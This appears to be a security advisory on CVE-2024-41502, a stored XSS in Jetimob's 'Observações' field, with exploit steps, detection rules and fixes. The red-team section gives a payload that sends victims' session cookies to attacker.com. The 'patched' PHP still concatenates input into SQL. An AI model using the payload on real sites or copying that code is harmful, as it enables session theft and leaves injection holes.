CVE-2024-41502

Executive Summary

CVE-2024-41502 identifies a stored Cross-Site Scripting (XSS) vulnerability in Jetimob Plataforma Imobiliaria version 20240627-0. The flaw resides in the "Observações" (observances) form field within the "Pessoas" (persons) section when creating or editing legal or natural persons. An authenticated attacker can inject arbitrary JavaScript code that executes in the context of other users viewing the affected records. This can lead to session hijacking, credential theft, or defacement. No official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is trivial to exploit once authenticated.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP/JavaScript application vulnerability within the Jetimob real estate platform.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)
Severity: Medium

Vector String Explanation:

• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker needs a valid user account.
• User Interaction (UI): Required – victim must view the malicious record.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the simplicity of exploitation make this a realistic threat for organizations using Jetimob.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the "Observações" field of the person creation/editing form. The application fails to sanitize or encode user-supplied input before storing it in the database and later rendering it in the browser. When an administrator or other user views the person record, the injected script executes in their browser context.

Attack Flow:

1. Attacker authenticates to the Jetimob application.
2. Navigates to the "Pessoas" section and creates or edits a person record.
3. Injects a malicious payload (e.g., <script>alert('XSS')</script>) into the "Observações" field.
4. The payload is stored in the database without sanitization.
5. When any user (including administrators) views the person record, the script executes.

Impact:

• Session cookie theft (if HttpOnly flag is not set).
• Redirection to phishing pages.
• Defacement of the application interface.
• Keylogging or form data theft.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

// Vulnerable: Directly stores user input without sanitization
$observacoes = $_POST['observacoes'];
$sql = "INSERT INTO pessoas (observacoes) VALUES ('$observacoes')";
mysqli_query($conn, $sql);

Patched Code (Conceptual PHP):

// Patched: Sanitize output with htmlspecialchars
$observacoes = htmlspecialchars($_POST['observacoes'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO pessoas (observacoes) VALUES ('$observacoes')";
mysqli_query($conn, $sql);

Patched Code (Output):

// When rendering the field, encode HTML entities
echo htmlspecialchars($row['observacoes'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials for the Jetimob application.
• Network access to the application.

Exploit Steps:

1. Log in to the Jetimob application.
2. Navigate to "Pessoas" > "Adicionar Pessoa" or edit an existing person.
3. In the "Observações" field, inject a payload such as:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the record.
5. Wait for an administrator or other user to view the record. The script will execute and exfiltrate their session cookie.

Proof-of-Concept Payload:

<script>alert('XSS_Proof')</script>

Blue Team

Detection:

• Monitor for unusual input patterns in the "Observações" field (e.g., <script>, onerror=, javascript:).
• Review web server logs for requests containing XSS payloads in POST parameters.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search database for stored XSS payloads in the observacoes column.
• Check for unexpected outbound connections from the application server.

Mitigation:

• Apply input validation and output encoding (see Remediation section).
• Restrict user privileges to minimize the number of users who can create/edit persons.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Suspicious POST requests to /pessoas/save or similar endpoints with <script> tags.

Host IOCs:

• Database entries in the pessoas table with observacoes containing HTML/JavaScript.
• Web server logs showing requests with XSS payloads in the observacoes parameter.

File IOCs:

• No specific file-based IOCs; the vulnerability is purely application-level.

Detection Engineering

YARA Rule

rule CVE_2024_41502_XSS_Observacoes {
    meta:
        description = "Detects stored XSS payloads in Jetimob Observacoes field"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41502"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Jetimob Stored XSS in Observacoes Field
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in the Observacoes field of Jetimob
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'observacoes'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41502 Jetimob Stored XSS Observacoes"; flow:to_server,established; content:"POST"; http_method; content:"/pessoas/"; http_uri; content:"observacoes"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all input to the "Observações" field. Strip or encode HTML tags.
2. Output Encoding: Use htmlspecialchars() or equivalent when rendering the field in the browser.
3. Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
4. HttpOnly Cookies: Set the HttpOnly flag on session cookies to prevent JavaScript access.
5. User Privileges: Limit who can create/edit persons to trusted administrators only.

Long-Term Fix:

• The vendor (Jetimob) must release a patch that properly sanitizes the "Observações" field. Until then, apply the above mitigations manually.

Workaround:

• Disable the "Observações" field in the application code if not essential.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Valters IT